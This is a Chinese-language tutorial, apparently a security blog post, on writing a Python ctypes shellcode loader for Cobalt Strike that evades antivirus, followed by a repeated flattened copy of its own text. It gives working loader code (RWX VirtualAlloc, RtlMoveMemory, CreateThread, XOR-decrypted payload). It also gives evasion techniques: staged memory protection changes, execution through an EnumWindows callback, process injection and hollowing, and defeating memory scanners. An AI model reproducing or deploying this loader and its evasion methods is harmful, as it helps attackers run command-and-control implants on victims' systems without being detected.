CS免杀-py加载器原理
字数 1800 2025-08-09 18:43:59

CS免杀-py加载器原理详解

1. 内存分配原理

在Python实现的Cobalt Strike免杀加载器中,内存分配是关键的第一步:

ctypes.windll.kernel32.VirtualAlloc(
    ctypes.c_int(0),                  # 起始地址(NULL表示由系统决定)
    ctypes.c_int(len(shellcode)),     # 分配大小(字节为单位)
    ctypes.c_int(0x3000),             # 分配类型(MEM_COMMIT | MEM_RESERVE)
    ctypes.c_int(0x40)                 # 内存保护标志(PAGE_EXECUTE_READWRITE)
)

参数详解:

  1. 起始地址 (lpAddress):

    • ctypes.c_int(0) 表示NULL,让系统自动决定分配内存的位置
    • 分配的内存区域会按64KB边界向上取整
  2. 分配大小 (dwSize):

    • ctypes.c_int(len(shellcode)) 指定要分配的内存区域大小
    • 以字节为单位,通常为shellcode的长度
  3. 分配类型 (flAllocationType):

    • 0x3000MEM_COMMIT(0x1000)MEM_RESERVE(0x2000) 的组合
    • MEM_RESERVE 保留虚拟地址空间但不分配物理存储
    • MEM_COMMIT 分配物理内存或页面文件中的空间
  4. 内存保护 (flProtect):

    • 0x40 表示 PAGE_EXECUTE_READWRITE
    • 该内存区域可执行代码,应用程序也可读写该区域
    • 这是免杀的关键,因为通常正常程序不会申请可执行又可写的内存

2. 内存写入与执行

分配内存后,需要将shellcode写入并执行:

# 写入shellcode
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),             # 目标内存地址
    ctypes.create_string_buffer(shellcode),  # 源数据
    ctypes.c_int(len(shellcode))      # 数据长度
)

# 创建线程执行shellcode
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),                  # lpThreadAttributes (NULL=默认安全性)
    ctypes.c_int(0),                  # dwStackSize (0=使用调用线程的栈大小)
    ctypes.c_uint64(ptr),             # lpStartAddress (执行起始地址)
    ctypes.c_int(0),                  # lpParameter (NULL=不传递参数)
    ctypes.c_int(0),                  # dwCreationFlags (0=创建后立即运行)
    ctypes.pointer(ctypes.c_int(0))   # lpThreadId (NULL=不返回线程ID)
)

CreateThread参数详解:

  1. 线程安全属性 (lpThreadAttributes):

    • ctypes.c_int(0) 表示NULL,使用默认安全性
  2. 栈大小 (dwStackSize):

    • ctypes.c_int(0) 表示使用与调用线程相同的栈空间大小
  3. 起始地址 (lpStartAddress):

    • ctypes.c_uint64(ptr) 指向之前分配并写入shellcode的内存地址
  4. 线程参数 (lpParameter):

    • ctypes.c_int(0) 表示NULL,不传递参数
  5. 创建标志 (dwCreationFlags):

    • ctypes.c_int(0) 表示线程创建后立即激活
  6. 线程ID (lpThreadId):

    • ctypes.pointer(ctypes.c_int(0)) 表示不返回线程ID

3. 免杀技术要点

  1. 内存属性组合

    • 使用 PAGE_EXECUTE_READWRITE 是不常见的组合,正常程序通常使用 PAGE_READWRITEPAGE_EXECUTE_READ
    • 可以通过分阶段修改权限来规避检测:先申请 PAGE_READWRITE,写入后改为 PAGE_EXECUTE_READ
  2. 线程创建方式

    • 直接创建线程执行shellcode是常见的行为特征
    • 替代方案:使用回调函数、APC注入、线程劫持等技术
  3. shellcode加载

    • 明文的shellcode在Python脚本中容易被检测
    • 改进方法:加密shellcode,运行时解密;或从远程服务器动态获取
  4. Python加载器特点

    • 体积较大,容易被静态分析
    • 建议使用PyInstaller等工具打包,或转换为可执行文件

4. 完整示例代码

import ctypes

# 加密的shellcode (示例)
encrypted_shellcode = b"\x12\x34\x56\x78\x90..."

# 解密函数 (示例)
def decrypt_shellcode(encrypted):
    return bytes([b ^ 0x55 for b in encrypted])

# 获取解密后的shellcode
shellcode = decrypt_shellcode(encrypted_shellcode)

# 分配内存
ptr = ctypes.windll.kernel32.VirtualAlloc(
    ctypes.c_int(0),
    ctypes.c_int(len(shellcode)),
    ctypes.c_int(0x3000),
    ctypes.c_int(0x40)
)

# 写入内存
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    ctypes.create_string_buffer(shellcode),
    ctypes.c_int(len(shellcode))
)

# 创建线程执行
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_uint64(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
)

# 等待线程结束
ctypes.windll.kernel32.WaitForSingleObject(
    ctypes.c_int(handle),
    ctypes.c_int(-1)
)

5. 进阶免杀技巧

  1. 内存权限分阶段修改

    # 初始分配为可读写
    ptr = ctypes.windll.kernel32.VirtualAlloc(
        ctypes.c_int(0),
        ctypes.c_int(len(shellcode)),
        ctypes.c_int(0x3000),
        ctypes.c_int(0x04)  # PAGE_READWRITE
    )
    
    # 写入shellcode
    # ...
    
    # 修改为可执行
    old_protect = ctypes.c_int(0)
    ctypes.windll.kernel32.VirtualProtect(
        ctypes.c_uint64(ptr),
        ctypes.c_int(len(shellcode)),
        ctypes.c_int(0x20),  # PAGE_EXECUTE_READ
        ctypes.byref(old_protect)
    )
    
  2. 使用回调函数替代CreateThread

    # 使用EnumWindows等API的回调机制执行shellcode
    ctypes.windll.user32.EnumWindows(
        ctypes.c_uint64(ptr),  # 回调函数地址(指向shellcode)
        ctypes.c_int(0)
    )
    
  3. 进程注入替代方案

    • 可以注入到其他合法进程(如explorer.exe)中执行
    • 使用进程镂空(Process Hollowing)技术
  4. 对抗内存扫描

    • 分块写入shellcode
    • 写入后立即执行,减少内存中驻留时间
    • 使用堆栈翻转等技术

6. 检测与对抗

  1. 常见检测点

    • 具有RWX权限的内存区域
    • 从非映像内存执行代码
    • 动态生成的线程起始地址
    • Python解释器加载可疑模块
  2. 对抗检测的方法

    • 使用合法的内存区域(如.text段)存放shellcode
    • 利用已有内存区域而非新分配
    • 模仿合法程序的内存访问模式
    • 使用间接调用链

7. 总结

Python实现的Cobalt Strike加载器核心原理是通过Windows API分配可执行内存、写入shellcode并创建线程执行。免杀的关键在于:

  1. 合理组合内存权限,避免直接使用RWX
  2. 隐蔽线程创建方式,使用合法API间接执行
  3. 加密或隐藏shellcode,避免静态检测
  4. 模仿正常程序行为,减少异常特征

虽然Python加载器体积较大,但通过合理的混淆和打包技术,仍然可以构建有效的免杀方案。

CS免杀-py加载器原理详解 1. 内存分配原理 在Python实现的Cobalt Strike免杀加载器中,内存分配是关键的第一步: 参数详解: 起始地址 ( lpAddress ): ctypes.c_int(0) 表示NULL,让系统自动决定分配内存的位置 分配的内存区域会按64KB边界向上取整 分配大小 ( dwSize ): ctypes.c_int(len(shellcode)) 指定要分配的内存区域大小 以字节为单位,通常为shellcode的长度 分配类型 ( flAllocationType ): 0x3000 是 MEM_COMMIT(0x1000) 和 MEM_RESERVE(0x2000) 的组合 MEM_RESERVE 保留虚拟地址空间但不分配物理存储 MEM_COMMIT 分配物理内存或页面文件中的空间 内存保护 ( flProtect ): 0x40 表示 PAGE_EXECUTE_READWRITE 该内存区域可执行代码,应用程序也可读写该区域 这是免杀的关键,因为通常正常程序不会申请可执行又可写的内存 2. 内存写入与执行 分配内存后,需要将shellcode写入并执行: CreateThread参数详解: 线程安全属性 ( lpThreadAttributes ): ctypes.c_int(0) 表示NULL,使用默认安全性 栈大小 ( dwStackSize ): ctypes.c_int(0) 表示使用与调用线程相同的栈空间大小 起始地址 ( lpStartAddress ): ctypes.c_uint64(ptr) 指向之前分配并写入shellcode的内存地址 线程参数 ( lpParameter ): ctypes.c_int(0) 表示NULL,不传递参数 创建标志 ( dwCreationFlags ): ctypes.c_int(0) 表示线程创建后立即激活 线程ID ( lpThreadId ): ctypes.pointer(ctypes.c_int(0)) 表示不返回线程ID 3. 免杀技术要点 内存属性组合 : 使用 PAGE_EXECUTE_READWRITE 是不常见的组合,正常程序通常使用 PAGE_READWRITE 或 PAGE_EXECUTE_READ 可以通过分阶段修改权限来规避检测:先申请 PAGE_READWRITE ,写入后改为 PAGE_EXECUTE_READ 线程创建方式 : 直接创建线程执行shellcode是常见的行为特征 替代方案:使用回调函数、APC注入、线程劫持等技术 shellcode加载 : 明文的shellcode在Python脚本中容易被检测 改进方法:加密shellcode,运行时解密;或从远程服务器动态获取 Python加载器特点 : 体积较大,容易被静态分析 建议使用PyInstaller等工具打包,或转换为可执行文件 4. 完整示例代码 5. 进阶免杀技巧 内存权限分阶段修改 : 使用回调函数替代CreateThread : 进程注入替代方案 : 可以注入到其他合法进程(如explorer.exe)中执行 使用进程镂空(Process Hollowing)技术 对抗内存扫描 : 分块写入shellcode 写入后立即执行,减少内存中驻留时间 使用堆栈翻转等技术 6. 检测与对抗 常见检测点 : 具有RWX权限的内存区域 从非映像内存执行代码 动态生成的线程起始地址 Python解释器加载可疑模块 对抗检测的方法 : 使用合法的内存区域(如.text段)存放shellcode 利用已有内存区域而非新分配 模仿合法程序的内存访问模式 使用间接调用链 7. 总结 Python实现的Cobalt Strike加载器核心原理是通过Windows API分配可执行内存、写入shellcode并创建线程执行。免杀的关键在于: 合理组合内存权限,避免直接使用RWX 隐蔽线程创建方式,使用合法API间接执行 加密或隐藏shellcode,避免静态检测 模仿正常程序行为,减少异常特征 虽然Python加载器体积较大,但通过合理的混淆和打包技术,仍然可以构建有效的免杀方案。